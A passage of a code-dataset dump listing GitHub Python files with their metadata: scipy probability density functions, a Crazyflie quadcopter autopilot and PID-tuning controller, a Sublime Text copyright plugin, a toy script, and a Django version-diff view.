time.sleep(900)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":685,"cells":{"__id__":{"kind":"number","value":2284922649856,"string":"2,284,922,649,856"},"blob_id":{"kind":"string","value":"507c2b75ee23b46632a224f2dae3f41d101483d1"},"directory_id":{"kind":"string","value":"d8ee3bb6dfb0302303b7abeb24c491b83b5a52a0"},"path":{"kind":"string","value":"/pdf.py"},"content_id":{"kind":"string","value":"e635c40b1e107c61c12ec307007a9f6899958ceb"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"afcarl/StatLab"},"repo_url":{"kind":"string","value":"https://github.com/afcarl/StatLab"},"snapshot_id":{"kind":"string","value":"623884ea4c2c8299dad8de15bd510cb83a46d787"},"revision_id":{"kind":"string","value":"e675ba1b3d8fc3e6574f97625274512806798280"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-03-16T16:14:58.396352","string":"2020-03-16T16:14:58.396352"},"revision_date":{"kind":"timestamp","value":"2011-08-05T18:49:44","string":"2011-08-05T18:49:44"},"committer_date":{"kind":"timestamp","value":"2011-08-05T18:49:44","string":"2011-08-05T18:49:44"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from scipy import exp, log, isscalar, logical_and\nfrom scipy.special import gammaln\n\ndef gammapdf(X, shape, scale):\n return exp((shape-1.0)*log(X) - (X/(1.0*scale)) + gammaln(shape) + (shape * log(scale)))\n\ndef betapdf(X,a,b):\n #operate only on x in (0,1)\n if isscalar(X):\n if X<=0 or X>=1:\n raise ValueError(\"X must be in the interval (0,1)\")\n else:\n x=X\n else:\n goodx = logical_and(X>0, X<1)\n x = X[goodx].copy()\n\n loga = (a-1.0)*log(x)\n logb = (b-1.0)*log(1.0-x)\n\n return exp(gammaln(a+b)-gammaln(a)-gammaln(b)+loga+logb)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2011,"string":"2,011"}}},{"rowIdx":686,"cells":{"__id__":{"kind":"number","value":12532714607627,"string":"12,532,714,607,627"},"blob_id":{"kind":"string","value":"304b1548732b7cd8e71b2341bb6988f0cebe0b85"},"directory_id":{"kind":"string","value":"9f6917d6989c2946a91a0260470182d0ddf1f945"},"path":{"kind":"string","value":"/aicontroller.py"},"content_id":{"kind":"string","value":"44e60d871b143daef12f6814d72e3c86edc66345"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"ShermanMorrison/ELEC424-Lab08-Hover"},"repo_url":{"kind":"string","value":"https://github.com/ShermanMorrison/ELEC424-Lab08-Hover"},"snapshot_id":{"kind":"string","value":"eddbe692dacc5fbe040bc81e79f734aafcc9c8f6"},"revision_id":{"kind":"string","value":"2bd95dd692c8f7756eec97b9bd459ffb7d9ccb59"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-22T10:56:14.486422","string":"2021-01-22T10:56:14.486422"},"revision_date":{"kind":"timestamp","value":"2014-12-01T06:43:26","string":"2014-12-01T06:43:26"},"committer_date":{"kind":"timestamp","value":"2014-12-01T06:43:26","string":"2014-12-01T06:43:26"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n\n# -*- coding: utf-8 -*-\n#\n# || ____ _ __\n# +------+ / __ )(_) /_______________ _____ ___\n# | 0xBC | / __ / / __/ ___/ ___/ __ `/_ / / _ \\\n# +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/\n# || || /_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/\n#\n# Copyright (C) 2011-2013 Bitcraze AB\n#\n# Crazyflie Nano Quadcopter Client\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n\n\"\"\"\nDriver for reading data from the PyGame API. Used from Inpyt.py for reading input data.\nHacked to include AI \n\nYou will need to modify the following files as shown below\n+++ b/lib/cfclient/ui/main.py \n- self.joystickReader = JoystickReader()\n+ self.joystickReader = JoystickReader(cf=self.cf)\n\n\n+++ b/lib/cfclient/utils/input.py \n+from cfclient.utils.aicontroller import AiController \n\n- def __init__(self, do_device_discovery=True):\n+ def __init__(self, do_device_discovery=True, cf=None):\n\n- self.inputdevice = PyGameReader()\n+ self.inputdevice = AiController(cf)\n\nYou will also need to map the \"exit\" button to your controller. This will server as \nthe on/off switch for the AI.\n\nYou will also likely have to open the tools->parameters tab in the PC-Client which will load the TOC. \n\n\"\"\"\n\n__author__ = 'Steven Arroyo'\n__all__ = ['AiController']\n\nimport pygame\nfrom pygame.locals import *\n\nimport time\nimport logging\nfrom cfclient.ui.widgets.ai import AttitudeIndicator\n\nlogger = logging.getLogger(__name__)\n\n\nclass AiController():\n \"\"\"Used for reading data from input devices using the PyGame API.\"\"\"\n def __init__(self,cf):\n\n self.cf = cf\n \n\n\n self.gainToChange = \"pid_rate.roll_kp\" \n self.lastError = float(\"inf\")\n\n self.errorList = []\n self.kpList = []\n \n self.error = 0\n \n self.barometer = 0\n\n self.altHoldPrev = 0\n self.setAltHold = False\n\n self.asl = None \n \n self.altHoldTarget = 0\n self.hoverRatio = .02\n self.hoverBaseThrust = .85\n \n # Crazyflie orientation variables\n self.actualRoll = 0\n self.actualPitch = 0\n self.actualYaw = 0\n \n self.bestRPY = []\n \n self.inputMap = None\n pygame.init()\n\n # AI variables\n self.timer1 = 0\n self.lastTime = 0\n\n # DEPRECATED\n self.alt = None\n\n # ---AI tuning variables---\n # This is the thrust of the motors duing hover. 0.5 reaches ~1ft depending on battery\n self.maxThrust = 0.85\n # Determines how fast to take off\n self.thrustInc = 0.02\n self.takeoffTime = 5\n # Determines how fast to land\n self.thrustDec = -0.039\n self.hoverTime = 3\n # Sets the delay between test flights\n self.repeatDelay = 8\n\n # parameters pulled from json with defaults from crazyflie pid.h\n # perl -ne '/\"(\\w*)\": {/ && print $1, \"\\n\" ' lib/cflib/cache/27A2C4BA.json\n self.cfParams = {\n 'pid_rate.pitch_kp': 90.0, \n 'pid_rate.pitch_kd': 0.0, \n 'pid_rate.pitch_ki': 15.0, \n 'pid_rate.roll_kp': 100.0, \n 'pid_rate.roll_kd': 0.0, \n 'pid_rate.roll_ki': 15.0, \n 'pid_rate.yaw_kp': 50.0, \n 'pid_rate.yaw_kd': 23.0, \n 'pid_rate.yaw_ki': 2.0, \n 'pid_attitude.pitch_kp': 3.5, \n 'pid_attitude.pitch_kd': 2.0, \n 'pid_attitude.pitch_ki': 0.0, \n 'pid_attitude.roll_kp': 3.5, \n 'pid_attitude.roll_kd': 2.0, \n 'pid_attitude.roll_ki': 0.0, \n 'pid_attitude.yaw_kp': 0.0, \n 'pid_attitude.yaw_kd': 0.0, \n 'pid_attitude.yaw_ki': 0.0, \n 'sensorfusion6.kp': 0.800000011921, \n 'sensorfusion6.ki': 0.00200000009499, \n 'imu_acc_lpf.factor': 32 }\n\n def read_input(self):\n \"\"\"Read input from the selected device.\"\"\"\n\n # First we read data from controller as normal\n # ----------------------------------------------------\n # We only want the pitch/roll cal to be \"oneshot\", don't\n # save this value.\n self.data[\"pitchcal\"] = 0.0\n self.data[\"rollcal\"] = 0.0\n for e in pygame.event.get():\n if e.type == pygame.locals.JOYAXISMOTION:\n index = \"Input.AXIS-%d\" % e.axis \n try:\n if (self.inputMap[index][\"type\"] == \"Input.AXIS\"):\n key = self.inputMap[index][\"key\"]\n axisvalue = self.j.get_axis(e.axis)\n # All axis are in the range [-a,+a]\n axisvalue = axisvalue * self.inputMap[index][\"scale\"]\n # The value is now in the correct direction and in the range [-1,1]\n self.data[key] = axisvalue\n except Exception:\n # Axis not mapped, ignore..\n pass \n\n if e.type == pygame.locals.JOYBUTTONDOWN:\n index = \"Input.BUTTON-%d\" % e.button \n try:\n if (self.inputMap[index][\"type\"] == \"Input.BUTTON\"):\n key = self.inputMap[index][\"key\"]\n if (key == \"estop\"):\n self.data[\"estop\"] = not self.data[\"estop\"]\n elif (key == \"exit\"):\n # self.data[\"exit\"] = True\n self.data[\"exit\"] = not self.data[\"exit\"]\n logger.info(\"Toggling AI %d\", self.data[\"exit\"])\n elif (key == \"althold\"):\n # self.data[\"althold\"] = True\n self.data[\"althold\"] = not self.data[\"althold\"]\n logger.info(\"Toggling altHold %d\", self.data[\"althold\"])\n else: # Generic cal for pitch/roll\n self.data[key] = self.inputMap[index][\"scale\"]\n except Exception:\n # Button not mapped, ignore..\n pass\n\n # Second if AI is enabled overwrite selected data with AI\n # ----------------------------------------------------------\n\n\n if self.data[\"althold\"]:\n self.AltHoldPrev += 1\n if self.AltHoldPrev == 1:\n self.setAltHold = True\n self.altHoldThrust()\n else:\n self.AltHoldPrev = 0\n if self.data[\"exit\"]:\n self.augmentInputWithAi()\n\n # Return control Data\n return self.data\n\n\n def altHoldThrust(self):\n \"\"\"\n Overrides the throttle input to try to get the crazyflie to hover.\n The first time the function is called, the hover height is set from current height\n After this, this function will calculate corrections to keep the crazyflie at\n This function imitates the altitude hold function within stabilizer.c\n \"\"\"\n # the first time in a sequence that altHold is called, the set point is calibrated\n # by sampling the instantaneous barometer reading\n if (self.setAltHold):\n print \"first time on AltHold!\"\n self.altHoldTarget = self.barometer\n\n # after this point, the error is calculated and corrected using a proportional control loop\n else:\n if self.barometer > self.altHoldTarget + 1.5:\n\t\tself.addThrust(-.1)\n\t\tprint \"too high, baro = \" + str(self.barometer)\n else:\n err = self.altHoldTarget - self.barometer\n thrustDelta = self.hoverBaseThrust + self.hoverRatio * err\n self.addThrust(thrustDelta)\n\n self.setAltHold = False\n\n def augmentInputWithAi(self):\n \"\"\"\n Overrides the throttle input with a controlled takeoff, hover, and land loop.\n You will to adjust the tuning vaiables according to your crazyflie. \n The max thrust has been set to 0.3 and likely will not fly. \n I have found that a value of 0.5 will reach about 1ft off the ground \n depending on the battery's charge.\n \"\"\"\n # Keep track of time\n currentTime = time.time()\n timeSinceLastAi = currentTime - self.lastTime\n self.timer1 = self.timer1 + timeSinceLastAi\n self.lastTime = currentTime\n \n # Take measurements of error every time this function is called\n\n # total error will sum deviation in roll, pitch, and yaw \n \n \t \n self.error += self.actualRoll * self.actualRoll + self.actualPitch * self.actualPitch + self.actualYaw * self.actualYaw\n\n\n # Basic AutoPilot steadly increase thrust, hover, land and repeat\n # -------------------------------------------------------------\n\n \n # delay before takeoff \n if self.timer1 < 0:\n thrustDelta = 0\n # takeoff\n elif self.timer1 < self.takeoffTime :\n thrustDelta = self.thrustInc\n # hold\n elif self.timer1 < self.takeoffTime + self.hoverTime : \n thrustDelta = 0\n # land\n elif self.timer1 < 2 * self.takeoffTime + self.hoverTime :\n thrustDelta = self.thrustDec\n # repeat and do PID testing if necessary\n else:\n self.timer1 = -self.repeatDelay\n thrustDelta = 0\n print \"Magnitude of error was: \"+str(self.error)\n print \"\\t with \" + self.gainToChange + \" = \" + str(self.cfParams[self.gainToChange])\n\t \n # after seven tries, the code will select the best PID value and apply it for this run \n\t if len(self.errorList) < 7:\n self.pidTuner() # update self.gainToChange param\n\t self.errorList.append(self.error)\n\t\tself.kpList.append(self.cfParams[self.gainToChange])\n\t self.lastError = self.error\n\t \n # if less than seven tries, keep track of the run with least integral error \n else:\n\t\tindexOfMin = 0\n\t\tlowestErr = self.errorList[0]\n\t\tfor i in xrange(1,len(self.errorList)):\n\t\t if self.errorList[i] < lowestErr:\n indexOfMin = i\n\t\t\tlowestErr = self.errorList[i]\n # set new PID value and print best value (best = least error)\n\t\tself.cfParams[self.gainToChange] = self.kpList[indexOfMin]\n\t\tself.updateCrazyFlieParam(self.gainToChange)\t\n\t\tself.bestRPY.append(self.kpList[indexOfMin])\n\t\tprint \"BEST Kp for \" + str(self.gainToChange) + \" = \" + str(self.kpList[indexOfMin])\n\n # continue to next axis and test to run (currently hardcoded)\n\t\tself.errorList = []\n if self.gainToChange == \"pid_rate.pitch_kp\":\n self.gainToChange = \"pid_rate.roll_kp\"\n elif self.gainToChange == \"pid_rate.roll_kp\":\n self.gainToChange = \"pid_rate.yaw_kp\"\n\t\telse:\n\t\t print \"best RPY = \" + str(self.bestRPY)\n\t\n # this slightly increases maxThrust to compensate for battery reduction\n\t self.maxThrust = self.maxThrust + 0.02\n\t self.error = 0\n\t\t\n self.addThrust( thrustDelta )\n \n\n def addThrust(self, thrustDelta):\n # Increment thrust\n self.aiData[\"thrust\"] = self.aiData[\"thrust\"] + thrustDelta \n # Check for max\n if self.aiData[\"thrust\"] > self.maxThrust:\n self.aiData[\"thrust\"] = self.maxThrust\n # check for min \n elif self.aiData[\"thrust\"] < 0:\n self.aiData[\"thrust\"] = 0\n \n # overwrite joystick thrust values\n self.data[\"thrust\"] = self.aiData[\"thrust\"]\n\n\n def pidTuner(self):\n \"\"\" \n iterates through a parameter, adjusting every time and printing out error\n \"\"\" \n self.cfParams[self.gainToChange] = self.cfParams[self.gainToChange] + 10\n self.updateCrazyFlieParam(self.gainToChange)\n\n\n # update via param.py -> radiodriver.py -> crazyradio.py -> usbRadio )))\n def updateCrazyFlieParam(self, completename ):\n self.cf.param.set_value( unicode(completename), str(self.cfParams[completename]) )\n\n\n\n def start_input(self, deviceId, inputMap):\n \"\"\"Initalize the reading and open the device with deviceId and set the mapping for axis/buttons using the\n inputMap\"\"\"\n self.data = {\"roll\":0.0, \"pitch\":0.0, \"yaw\":0.0, \"thrust\":0.0, \"pitchcal\":0.0, \"rollcal\":0.0, \"estop\": False, \"exit\":False, \"althold\":False}\n self.aiData = {\"roll\":0.0, \"pitch\":0.0, \"yaw\":0.0, \"thrust\":0.0, \"pitchcal\":0.0, \"rollcal\":0.0, \"estop\": False, \"exit\":False, \"althold\":False}\n self.inputMap = inputMap\n self.j = pygame.joystick.Joystick(deviceId)\n self.j.init()\n\n\n def enableRawReading(self, deviceId):\n \"\"\"Enable reading of raw values (without mapping)\"\"\"\n self.j = pygame.joystick.Joystick(deviceId)\n self.j.init()\n\n def disableRawReading(self):\n \"\"\"Disable raw reading\"\"\"\n # No need to de-init since there's no good support for multiple input devices\n pass\n\n def readRawValues(self):\n \"\"\"Read out the raw values from the device\"\"\"\n rawaxis = {}\n rawbutton = {}\n\n for e in pygame.event.get():\n if e.type == pygame.locals.JOYBUTTONDOWN:\n rawbutton[e.button] = 1\n if e.type == pygame.locals.JOYBUTTONUP:\n rawbutton[e.button] = 0\n if e.type == pygame.locals.JOYAXISMOTION:\n rawaxis[e.axis] = self.j.get_axis(e.axis)\n\n return [rawaxis,rawbutton]\n\n def getAvailableDevices(self):\n \"\"\"List all the available devices.\"\"\"\n dev = []\n pygame.joystick.quit()\n pygame.joystick.init()\n nbrOfInputs = pygame.joystick.get_count()\n for i in range(0,nbrOfInputs):\n j = pygame.joystick.Joystick(i)\n dev.append({\"id\":i, \"name\" : j.get_name()})\n return dev\n\n def setActualData(self, actualRoll, actualPitch, actualThrust):\n \"\"\" collects roll, pitch, and thrust data for use in calibrating PID \"\"\"\n self.actualRoll = actualRoll\n\tself.actualPitch = actualPitch\t\n self.actualThrust = actualThrust\n \n def setBaroData(self, barometer):\n \"\"\" collects barometer data in order to implement height control\"\"\"\n self.barometer = barometer\n\n def setAltholdData(self, alt):\n \"\"\" DEPRECATED, ignore this, just part of the process\"\"\"\n self.alt = alt\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":687,"cells":{"__id__":{"kind":"number","value":8830452784014,"string":"8,830,452,784,014"},"blob_id":{"kind":"string","value":"66d62a553701ca49f0d8da4388c3ac8848be3f76"},"directory_id":{"kind":"string","value":"1f43e4d7063bc6633eb3fa695acfa4b9ccf992ea"},"path":{"kind":"string","value":"/Copyright.py"},"content_id":{"kind":"string","value":"5c7bd4029e4a14134d495208e59b129d0c11f485"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"reekoheek/sublime-xinix"},"repo_url":{"kind":"string","value":"https://github.com/reekoheek/sublime-xinix"},"snapshot_id":{"kind":"string","value":"942ca668294a7369d4eafff26a469d4f0af49290"},"revision_id":{"kind":"string","value":"05659f7507789a13ae31d17033d1da8c89444dc4"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2017-05-06T18:49:04.573484","string":"2017-05-06T18:49:04.573484"},"revision_date":{"kind":"timestamp","value":"2013-01-17T12:56:00","string":"2013-01-17T12:56:00"},"committer_date":{"kind":"timestamp","value":"2013-01-17T12:56:00","string":"2013-01-17T12:56:00"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import sublime, sublime_plugin\nimport string\nimport getpass\nfrom datetime import datetime\n\nclass CopyrightCommand(sublime_plugin.TextCommand):\n\n def guess_file_class(self):\n syntax = self.view.settings().get('syntax')\n\n return syntax.split('/')[1]\n\n def run(self, edit):\n setting = sublime.load_settings(\"Copyright.sublime-settings\")\n\n file_type = self.guess_file_class()\n\n copyright_file = \"\"\n try:\n copyright_file = open(sublime.packages_path() + '/sublime-xinix/' + file_type + '.copyright').read()\n except:\n copyright_file = open(sublime.packages_path() + '/sublime-xinix/Default.copyright').read()\n\n file_name = self.view.file_name()\n if file_name != None:\n file_name = file_name.split('/')[-1]\n else:\n file_name = \"[noname file]\"\n\n now = datetime.now()\n\n copyright_template = string.Template(copyright_file)\n d = dict(\n file_name=file_name,\n package_name='arch-php',\n my_name=setting.get('name', getpass.getuser()),\n my_email=setting.get('email', getpass.getuser() + '@localhost'),\n year=now.strftime(\"%Y\"),\n now=now.strftime(\"%Y-%m-%d %H:%M:%S\"),\n )\n\n copyright = copyright_template.substitute(d)\n\n point = self.view.line(self.view.sel()[0]).begin()\n self.view.insert(edit, point, copyright);\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":688,"cells":{"__id__":{"kind":"number","value":12120397742139,"string":"12,120,397,742,139"},"blob_id":{"kind":"string","value":"2eb468f60fd407cf7de1ab48c21f3d19f76842f0"},"directory_id":{"kind":"string","value":"97ce098e01c5ce66d39d44109549f511ee9da96c"},"path":{"kind":"string","value":"/test/prueba.py"},"content_id":{"kind":"string","value":"c44cc44bcdc60c57f677a0a7df566f915e5c20a2"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"ahmora/Compiladores-Proyecto02"},"repo_url":{"kind":"string","value":"https://github.com/ahmora/Compiladores-Proyecto02"},"snapshot_id":{"kind":"string","value":"15e12b9ddc765f0442ce135db9e37d5f613e9b45"},"revision_id":{"kind":"string","value":"d2d7e126f3f612fe39532709ee4c341c2e7f762f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T23:53:25.417325","string":"2016-09-05T23:53:25.417325"},"revision_date":{"kind":"timestamp","value":"2014-12-09T10:57:18","string":"2014-12-09T10:57:18"},"committer_date":{"kind":"timestamp","value":"2014-12-09T10:57:18","string":"2014-12-09T10:57:18"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"print \"Hola mundo!\"\nprint 2 * 3 + 4 - 1\nx = 2\ny = 3\nx = x * y\ny = 4\nx = x + y\ny = 1\nx = x - y\nprint x\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":689,"cells":{"__id__":{"kind":"number","value":5351529274856,"string":"5,351,529,274,856"},"blob_id":{"kind":"string","value":"19ddae5c4350c178d370352cca6026c1a127499c"},"directory_id":{"kind":"string","value":"86f50d8e500ccf04604b4e7c60ac8e46a9b88749"},"path":{"kind":"string","value":"/sapling/versionutils/diff/views.py"},"content_id":{"kind":"string","value":"91b2465069a76868bc06b955e879d48b5f619f21"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-or-later","GPL-2.0-only"],"string":"[\n \"GPL-2.0-or-later\",\n \"GPL-2.0-only\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"Georepublic/localwiki"},"repo_url":{"kind":"string","value":"https://github.com/Georepublic/localwiki"},"snapshot_id":{"kind":"string","value":"21c90827c298ba0f2f57bbfb09bd87cb035c3518"},"revision_id":{"kind":"string","value":"42e871f10c1ba59f3d0cca0b2b598195db79ba45"},"branch_name":{"kind":"string","value":"refs/heads/master_ja"},"visit_date":{"kind":"timestamp","value":"2021-11-25T23:38:10.902858","string":"2021-11-25T23:38:10.902858"},"revision_date":{"kind":"timestamp","value":"2013-05-24T04:03:53","string":"2013-05-24T04:03:53"},"committer_date":{"kind":"timestamp","value":"2013-05-24T04:03:53","string":"2013-05-24T04:03:53"},"github_id":{"kind":"number","value":5975684,"string":"5,975,684"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"string","value":"GPL-2.0"},"gha_fork":{"kind":"bool","value":true,"string":"true"},"gha_event_created_at":{"kind":"timestamp","value":"2021-11-19T01:47:11","string":"2021-11-19T01:47:11"},"gha_created_at":{"kind":"timestamp","value":"2012-09-27T01:55:03","string":"2012-09-27T01:55:03"},"gha_updated_at":{"kind":"timestamp","value":"2013-06-13T01:25:10","string":"2013-06-13T01:25:10"},"gha_pushed_at":{"kind":"timestamp","value":"2021-11-19T01:47:11","string":"2021-11-19T01:47:11"},"gha_size":{"kind":"number","value":12761,"string":"12,761"},"gha_stargazers_count":{"kind":"number","value":1,"string":"1"},"gha_forks_count":{"kind":"number","value":1,"string":"1"},"gha_open_issues_count":{"kind":"number","value":2,"string":"2"},"gha_language":{"kind":"string","value":"Python"},"gha_archived":{"kind":"bool","value":false,"string":"false"},"gha_disabled":{"kind":"bool","value":false,"string":"false"},"content":{"kind":"string","value":"from dateutil.parser import parse as dateparser\n\nfrom django.shortcuts import render_to_response\nfrom django.views.generic import DetailView\nfrom django.http import Http404\n\nfrom versionutils.versioning import get_versions\n\n\nclass CompareView(DetailView):\n \"\"\"\n A Class-based view used for displaying a difference. Attributes and\n methods are similar to the standard DetailView.\n\n Attributes:\n model: The model the diff acts on.\n \"\"\"\n template_name_suffix = '_diff'\n\n def get_context_data(self, **kwargs):\n context = super(CompareView, self).get_context_data(**kwargs)\n\n if self.kwargs.get('date1'):\n # Using datetimes to display diff.\n date1 = self.kwargs.get('date1')\n date2 = self.kwargs.get('date2')\n # Query parameter list used in history compare view.\n dates = self.request.GET.getlist('date')\n if not dates:\n dates = [v for v in (date1, date2) if v]\n dates = [dateparser(v) for v in dates]\n old = min(dates)\n new = max(dates)\n new_version = get_versions(self.object).as_of(date=new)\n prev_version = new_version.version_info.version_number() - 1\n if len(dates) == 1 and prev_version > 0:\n old_version = get_versions(self.object).as_of(\n version=prev_version)\n elif prev_version <= 0:\n old_version = None\n else:\n old_version = get_versions(self.object).as_of(date=old)\n else:\n # Using version numbers to display diff.\n version1 = self.kwargs.get('version1')\n version2 = self.kwargs.get('version2')\n # Query parameter list used in history compare view.\n versions = self.request.GET.getlist('version')\n if not versions:\n versions = [v for v in (version1, version2) if v]\n if not versions:\n raise Http404(\"Versions not specified\")\n versions = [int(v) for v in versions]\n old = min(versions)\n new = max(versions)\n if len(versions) == 1:\n old = max(new - 1, 1)\n if old > 0:\n old_version = get_versions(self.object).as_of(version=old)\n else:\n old_version = None\n new_version = get_versions(self.object).as_of(version=new)\n\n context.update({'old': old_version, 'new': new_version})\n return context\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":690,"cells":{"__id__":{"kind":"number","value":3375844304668,"string":"3,375,844,304,668"},"blob_id":{"kind":"string","value":"e0cb217fc6a7c783fb96a570234dea9fd284b4fd"},"directory_id":{"kind":"string","value":"63c89d672cb4df85e61d3ba9433f4c3ca39810c8"},"path":{"kind":"string","value":"/python/testdata/launchpad/lib/devscripts/sourcecode.py"},"content_id":{"kind":"string","value":"5cb66865417170214781a6deed6e7ba7cc950ba8"},"detected_licenses":{"kind":"list like","value":["AGPL-3.0-only","AGPL-3.0-or-later"],"string":"[\n \"AGPL-3.0-only\",\n \"AGPL-3.0-or-later\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"abramhindle/UnnaturalCodeFork"},"repo_url":{"kind":"string","value":"https://github.com/abramhindle/UnnaturalCodeFork"},"snapshot_id":{"kind":"string","value":"de32d2f31ed90519fd4918a48ce94310cef4be97"},"revision_id":{"kind":"string","value":"e205b94b2c66672d264a08a10bb7d94820c9c5ca"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-19T10:21:36.093911","string":"2021-01-19T10:21:36.093911"},"revision_date":{"kind":"timestamp","value":"2014-03-13T02:37:14","string":"2014-03-13T02:37:14"},"committer_date":{"kind":"timestamp","value":"2014-03-13T02:37:14","string":"2014-03-13T02:37:14"},"github_id":{"kind":"number","value":17692378,"string":"17,692,378"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":3,"string":"3"},"gha_license_id":{"kind":"string","value":"AGPL-3.0"},"gha_fork":{"kind":"bool","value":false,"string":"false"},"gha_event_created_at":{"kind":"timestamp","value":"2020-07-24T05:39:10","string":"2020-07-24T05:39:10"},"gha_created_at":{"kind":"timestamp","value":"2014-03-13T02:52:20","string":"2014-03-13T02:52:20"},"gha_updated_at":{"kind":"timestamp","value":"2018-01-05T07:03:31","string":"2018-01-05T07:03:31"},"gha_pushed_at":{"kind":"timestamp","value":"2014-03-13T02:53:59","string":"2014-03-13T02:53:59"},"gha_size":{"kind":"number","value":24904,"string":"24,904"},"gha_stargazers_count":{"kind":"number","value":0,"string":"0"},"gha_forks_count":{"kind":"number","value":3,"string":"3"},"gha_open_issues_count":{"kind":"number","value":1,"string":"1"},"gha_language":{"kind":"string","value":"Python"},"gha_archived":{"kind":"bool","value":false,"string":"false"},"gha_disabled":{"kind":"bool","value":false,"string":"false"},"content":{"kind":"string","value":"# Copyright 2009 